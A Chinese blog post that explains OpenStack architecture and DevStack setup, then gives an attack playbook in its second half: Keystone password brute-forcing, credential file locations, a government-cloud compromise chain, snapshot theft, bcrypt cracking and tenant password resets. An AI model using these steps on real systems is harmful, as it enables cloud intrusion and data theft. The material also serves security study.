什么是Openstack
OpenStack是一个开源的云计算管理平台项目,是属于基础设施即服务(IaaS),是一个云操作系统。
Keystone
keystone是OpenStack组件之一,identity service认证服务;
1. 一次建立;
(1) User向Keystone发送用户密码身份信息,Keystone验证成功后向User配发Token;
2. 三次请求,三次确认;
(1) User向Nova发出带有Token的实例创建请求,Nova收到请求后向Keystone验证有效性;
(2) Token被证实有效后,Nova向Glance服务发送镜像传输请求,Glance再次向Keystone验证Token有效性;
(3) Token被证实有效后,Glance向Nova提供镜像目录查询和传递服务,Nova获取镜像后继续向Neutron请求创建网络服务,Neutron再向Keystone验证有效性;
(4) Token被证实有效后,Neutron允许Nova使用网络服务;
3. 一个最终结果;
(1) Nova启动虚拟机成功,向用户返回创建实例成功的通知;
Nova
主要功能是负责管理实例虚拟机的生命周期、网络管理、存储卷管理;
对外提供服务接口为REST API,内部组件模块之间的通信基于RPC消息传递机制;
工作原理:
1. User获取认证后向Nova服务中的Nova-api发送一个请求,用于创建虚拟机实例;
2. Nova-API接收到请求后进行身份验证,然后将创建虚拟机实例的消息存到队列中(Queue);
3. Nova-scheduler从消息队列中(Queue)接收到消息开始调度,从多个计算节点选取最优节点,将创建虚拟机实例消息存放到队列中;
4. Nova-compute获取到信息后,在自身节点上执行创建虚拟机实例操作;
5. 创建虚拟机同时,计算节点通过消息队列向Nova-Conductor发送查询数据库的信息的消息,Conductor收到信息生会去访问数据库并给出回应消息;
Nova-API
接收并响应最终用户的计算API调用请求,通常将请求转发给Nova其它组件进行自带;
Nova-Compute
通过Hypervisor API创建和终止实例的工作进程;
主要功能就是接收来自消息队列的请求,然后执行对应的系统命令;
Nova-Conductor
主要为了使Nova-Compute服务与数据库之间进行交互;
Nova-placement-api
追踪每个提供者的库存和使用情况,比如计算节点的资源,存储池使用情况以及IP分配情况;
Nova-Cert
是服务器守候进程,主要为基于X509认证的Nova Cert提供服务;
Nova-NoVNCproxy
虚拟机控制台服务,提供用于通过VNC连接访问正在运行实例的代理;
Glance
Glance主要负责镜像的注册和查询传递服务,这些镜像可以是用户自己制作上传的镜像,也可以是当前实例的快照,这两种类型的镜像都可以快速用于实例部署;
工作原理:
1. glance-api接收到对应服务请求,对该服务进行响应;
2. glance-api服务将会对请求进行判断,与metadata相关操作就会把任务交给glance-registry进行处理,对应数据库操作如与image自身相关操作,将交给store backend进行处理;
主要组件:
glance-api
作用就是接收请求,但自身不处理请求,对外提供REST API响应image查询、获取和存储的调用;
使用ps -ef | grep glance-api,查看进程信息;
glance-registry
使用ps -e | grep glance-registry,查看进程信息;
Store backend
实际用于存储,glance自身并不存储image,而是将image放在backend中;
配置文件:/etc/glance/glanc e-api.conf
Neutron
主要提供云计算环境下的网络服务;
Neutron具体作用是允许用户创建和管理网络对象,例如:网络、子网、端口;
涵盖了二层交换、三层路由、负载、防火墙等;
工作原理:
1. 当要创建一个虚拟网络时,server收到创建的请求,通过消息队列通知对应的插件;
2. OVS插件收到消息后,将需要创建网络信息,名称,ID等,保存到数据库中并通过消息队列通知运行在各个节点上的agent;
3. agent,收到消息后会在节点上创建对应设备、例如vlan设备;
neutron plugin
core plugins,提供二层虚拟网络支持、网络、子网、端口等;
service plugins,提供路由器、防火墙、安全组等;
安装Openstack
手动部署较为麻烦,中途各种报错,排错等部署了一天
手动部署openstrack需要的组件:
· Mysql
· Mongodb
· RabbitMQ
· keystone
· HTTP
· glance
· nova
· neutron
· horizon
DevStack
OpenStack为入门者和开发者推出了一个OpenStack开发环境:devstack。通过devstack,你可以在一个主机节点上部署一个“五脏俱全”的OpenStack Cloud。
国内网络环境问题,导致安装难度加大
· vultr + Ubuntu 20
Copy sudo apt update
sudo apt -y upgrade
sudo apt -y dist-upgrade
sudo apt install git -y
#创建并切换到 stack 用户
sudo useradd -s /bin/bash -d /opt/stack -m stack
#sudo 不需要密码
echo "stack ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/stack
sudo su - stack
#下载和配置 devstack
cd /opt/stack/
git clone https://git.openstack.org/openstack-dev/devstack
cd devstack
cat > local.conf << EOF
[[local|localrc]]
# Password for KeyStone, Database, RabbitMQ and Service
ADMIN_PASSWORD=onegiao
DATABASE_PASSWORD=$ADMIN_PASSWORD
RABBIT_PASSWORD=$ADMIN_PASSWORD
SERVICE_PASSWORD=$ADMIN_PASSWORD
# Host IP - get your Server/VM IP address from ip addr command
# 修改成你的机器的 IP
HOST_IP=192.168.10.100
FORCE=yes
EOF
#安装
./stack.sh
#关闭防火墙
sudo ufw disable
渗透场景
这里有两种场景:
· 获取到OpenStack控制台权限;
· OpenStack下的虚拟主机权限;
虚拟主机权限场景
能做什么? 怎么去找控制端?
一般政务云租户管理端都会对外开放,所以从正面也是最为直接的方式。
在内网中端口查找关于用keystone 5000端口或者其它组件相应的端口查找管理网段。
一般情况是虚拟主机是无法到达管理网段,已做逻辑隔离。
攻击策略:
Ø 网络暴露:管理控制台,弱口令、高危漏洞
Ø 网络暴露:API 接口,未授权访问、越权、高危漏洞
Ø 网络暴露:三方组件引入的接口
Ø 网络暴露:容器服务
Ø 网络暴露:运营/运维服务
Ø OpenStack 部署在企业的业务生产网,云的底座网络、物理设备与业务网络在同一安全域,物理设备的监控和管理可横向攻击
相关端口
Ø Glance API 3260
Ø Glance API 9191
Ø Glance API 9292
Ø Nova API 3333
Ø Nova API 8775
Ø Nova API 8776
Ø EPMD 4369
Ø Keystone API 5000
Ø Keystone API 35357
Keystone API爆破
Copy POST /v3/auth/tokens HTTP/1.1
Host: 149.xxx.xxx.xxx:5000
User-Agent: openstacksdk/0.50.0 keystoneauth1/4.2.1 python-requests/2.25.1 CPython/3.9.1+
Accept-Encoding: gzip, deflate
Accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 225
{"auth": {"identity": {"methods": ["password"], "password": {"user": {"password": "123456", "name": "admin", "domain": {"name": "Default"}}}}, "scope": {"project": {"name": "admin", "domain": {"name": "Default"}}}}}
一般keystone就是控制面板密码
登录成功返回的资源:
直接绑定host即可
BurpSuite操作太麻烦直接本地安装
Copy apt install python-openstackclient
unset OS_SERVICE_TOKEN
export OS_USERNAME = admin
export OS_PASSWORD = '123456'
export OS_REGION_NAME = RegionOne
export OS_AUTH_URL = http://219.xxx.xxx.xxx:5000/v3
export OS_PROJECT_NAME = admin
export OS_USER_DOMAIN_NAME = Default
export OS_PROJECT_DOMAIN_NAME = Default
export OS_IDENTITY_API_VERSION = 3
source keystone_admin
执行命令
Copy #查看区域
keystone domain list
控制台权限场景
某政务云案例:
搜索引擎 —> 某省政务外网 —> 政务云平台,3A认证,基于Openstack二次开发,存在Shiro反序列化漏洞 —> 获取openstack云平台系统root权限 —> 网卡信息可跨(172,10,192)网段 —> 通过翻取系统任务计划,发现运维脚本,脚本中存储了云平台节点所有帐号密码(获取294云节点服务器权限)—> 再通过翻取系统配置文件,登录云平台数据库,获取云平台所有帐号密码(获取519个SSO帐号密码)—> 可控制某省政务云单位500+ —> 通过翻取系统文件获得Zabbix Server监控系统(9个)—> 控制openstack云平台,可控制1400+云主机权限,影响整个省政务单位,完全控制某政务云。
关于第一种场景能做的事情很多,对当前主机信息收集例如:计划任务、历史命令、环境变量等,相关openstack配置文件进行收集,能够发现数据库配置文件、以及节点信息。
关注配置文件信息:
Copy # 认证配置文件
/etc/keystone/keystone.conf
/etc/glance/glance-api.conf
/etc/nova/nova.conf
/etc/neutron/neutron.conf
/etc/cinder/cinder.conf
/etc/openstack-dashboard/local_settings
云平台仪表盘登录帐号密码通常情况下是放在/root/目录下,名为keystonerc_admin开头等,没有特定文件,包含一些.sh脚本中也有可能存在云平台的登录帐号密码;
Copy export OS_USERNAME = admin
export OS_PASSWORD = ADMIN_PASS
export OS_PROJECT_NAME = admin
export OS_USER_DOMAIN_NAME = Default
export OS_PROJECT_DOMAIN_NAME = Default
export OS_AUTH_URL = http://controller:5000/v3
export OS_IDENTITY_API_VERSION = 3
常用命令
Copy #当前用户
keystone user-list
openstack user list
#查看区域
keystone domain list
#创建具有管理权限的tenant,称为admin
keystone tenant-create --name=admin
#创建一个用户并设置密码
keystone user-create --name=admin --pass= "openstack"
#创建角色
keystone role-create --name=admin
#分配角色给admin用户
keystone user-role-add --user admin --role admin --tenant admin
#keystone命令行客户端
export OS_TENANT_NAME = admin
export OS_USERNAME = admin
export OS_PASSWORD = openstack
export OS_AUTH_URL = http://127.0.0.1:35357/v2/
#查看节点
nova host-list
#查看计算节点
nova hypervisor-list
#计算节点上有哪些虚拟机
nova hypervisor-servers compute1
#查看虚拟机列表
nova list
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
#列出实例类型
nova flavor-list
#列出所有镜像
nova image-list
# 验证网络
openstack network agent list
#查看网桥
brctl show
#免密登录
ssh-keygen -q -N ""
openstack keypair create --public-key ~/.ssh/id_rsa.pub mykey
openstack keypair list
#查看安全组
openstack security list
openstack security group list
#允许ping
openstack security group rule create --proto icmp default
#允许SSH
openstack security group rule create --proto tcp --dst-port 22 default
#查看虚拟机控制台VNC地址
openstack server list
openstack console url show 名称
#查看所有的虚机/某个租户虚机
nova list --all-tenants
nova list --tenant csq
Copy 查看nova控制端服务列表
nova service-list
+--------------------------------------+----------------+------------+----------+----------+
| Id | Binary | Host | Zone | Status | State | Updated_at | Disabled Reason | Forced down |
+--------------------------------------+----------------+------------+----------+----------+
| 1ddf8a41-27dd-4a97-8976-26dac6b08f15 | nova-conductor | controller | internal | enabled | up | 2021-06-17T08:49:59.000000 | - | False |
| 63b2d48d-b0fe-4c70-86f1-2598204bc47d | nova-scheduler | controller | internal | enabled | up | 2021-06-17T08:49:59.000000 | - | False |
| 17244348-e6cf-4898-8967-cc51e0e6862f | nova-compute | controller | zone1 | disabled | down | 2020-11-04T13:15:03.000000 | - | False |
| 9b84682e-c77f-4b14-ad6e-5d2bd1adf330 | nova-compute | compute | zone2 | enabled | up | 2021-06-17T08:49:59.000000 | - | False |
+--------------------------------------+----------------+------------+----------+----------+
查看节点信息:
openstack hypervisor list
+----+---------------------+-----------------+-------------+-------+
| ID | Hypervisor Hostname | Hypervisor Type | Host IP | State |
+----+---------------------+-----------------+-------------+-------+
| 1 | controller | QEMU | 192.168.0.4 | down |
| 2 | compute | QEMU | 10.53.18.17 | up |
+----+---------------------+-----------------+-------------+-------+
查看计算节点:
openstack host list
+------------+-----------+----------+
| Host Name | Service | Zone |
+------------+-----------+----------+
| controller | conductor | internal |
| controller | scheduler | internal |
| compute | compute | zone2 |
+------------+-----------+----------+
列出 keystone 服务中的端点
+-----------+-----------+-----------------------------------------+
| Name | Type | Endpoints |
+-----------+-----------+-----------------------------------------+
| placement | placement | RegionOne |
| | | admin: http://controller:8778 |
| | | RegionOne |
| | | public: http://controller:8778 |
| | | RegionOne |
| | | internal: http://controller:8778 |
| | | |
| nova | compute | RegionOne |
| | | internal: http://controller:8774/v2.1 |
| | | RegionOne |
| | | public: http://controller:8774/v2.1 |
| | | RegionOne |
| | | admin: http://controller:8774/v2.1 |
| | | |
| glance | image | RegionOne |
| | | internal: http://controller:9292 |
| | | RegionOne |
| | | admin: http://controller:9292 |
| | | RegionOne |
| | | public: http://controller:9292 |
| | | |
| keystone | identity | RegionOne |
| | | public: http://controller:5000/v3/ |
| | | RegionOne |
| | | admin: http://controller:5000/v3/ |
| | | RegionOne |
| | | internal: http://controller:5000/v3/ |
| | | |
| neutron | network | RegionOne |
| | | admin: http://controller:9696 |
| | | RegionOne |
| | | internal: http://controller:9696 |
| | | RegionOne |
| | | public: http://controller:9696 |
| | | |
+-----------+-----------+-----------------------------------------+
控制端验证计算节点是否注册成功
neutron agent-list
+--------------------------------------+--------------------+------------+-------------------
| id | agent_type | host | availability_zone | alive | admin_state_up | binary |
+--------------------------------------+--------------------+------------+-------------------
| 0b6e81f3-84fd-407b-aa58-26c634b0b89d | Linux bridge agent | controller | | :- ) | True | neutron-linuxbridge-agent |
| 3529d60a-02c0-45f6-a8b9-d5fa5784c472 | Linux bridge agent | compute | | :- ) | True | neutron-linuxbridge-agent |
| 69108560-f2a6-4fee-95f1-fec785773a49 | Metadata agent | controller | | :- ) | True | neutron-metadata-agent |
| 6ed02b19-3a2c-4a8d-b8c9-a816e8c242b9 | L3 agent | controller | nova | :- ) | True | neutron-l3-agent |
| 7579d896-760c-41c4-8ebc-2ec2b0b676b6 | DHCP agent | controller | nova | :- ) | True | neutron-dhcp-agent |
+--------------------------------------+--------------------+------------+-------------------
有哪些网段信息
openstack subnet list
+--------------------------------------+-------+--------------------------------------+----------------+
| ID | Name | Network | Subnet |
+--------------------------------------+-------+--------------------------------------+------
| cd4786a4-23b1-4dfe-b0f4-cd1218a5818e | zone1 | b0e0b867-fe37-435a-b0a2-d373e3721d9b | 192.168.2.0/24 |
| ef2751bb-0102-4a2b-a306-95155bfa64d1 | zone2 | 6de24015-baba-42f6-b01c-c0c5e9e5f891 | 192.168.3.0/24 |
+--------------------------------------+-------+--------------------------------------+----------------+
查看虚拟机访问地址
openstack console url show 虚拟机名称
openstack console url show 虚拟机ID
+-------+-------------------------------------------------------------------------------------
| Field | Value |
+-------+-------------------------------------------------------------------------------------
| type | novnc |
| url | http://xxx.xxx.xxx.xxx:6080/vnc_auto.html?path =%3Ftoken%3D2c210aaa-e620-4779-ac9b-7491089e5754 |
+-------+-------------------------------------------------------------------------------------
列出可用网络
neutron net-list
通过这些网段再定位相关目标网段,针对性刷分。
下载快照
在无法进入系统的情况下,通过获取快照进行到系统获取数据;
创建快照后,通过配置文件查看快照存放位置:/etc/glance/glance-api.conf
对照ID下载镜像:
然后下载镜像进入到虚拟机获取相关数据。
Copy openstack image save --file snapshot.raw 83361890-50ef-418a-80bc-f845f259b7dc
加密方式
一般情况下查询keystone数据库中的user表就可以了,但openstrack默认安装情况下分了两个表;
user存储用户名称及信息; password存储密码;
加密信息:
Copy $2b$04$vj..DUniPbrtomnCskoI2.u0eFADB5T2hKZ8Uck4YTZ2D60ouFw2C
$为分割符,无意义;
2b是bcrypt加密版本号;
04是cost的值;
后一段是salt值;
最后才是密码的密文
找到用户密码但是不可解,密码复杂度太高;
强密码,hashcat基本无解。
Copy hashcat -a 0 -m 3200 "\$2a\$10\$ghNfizR9Q0MqdXSRIDzKK.3CSvmn.Ik97i1DXB4Ba72qNlWZCpAkq" passwd.txt
使用penglab 项目,https://github.com/mxrch/penglab
重置租户密码
当无法解密但又需要登录到某个租户的时候
查看用户列表:
如果没有keystone 就用openstack user list
修改密码:
Copy keystone user-password-update --pass 123qweasd 955fc29e47a74bfcbeb91718ad7caf40
如果不存在,则:
Copy openstack user set --password 123qweasdzxc demo
具体看目标系统,有些则是在租户上可直接重置虚拟机密码,有些则无这个功能。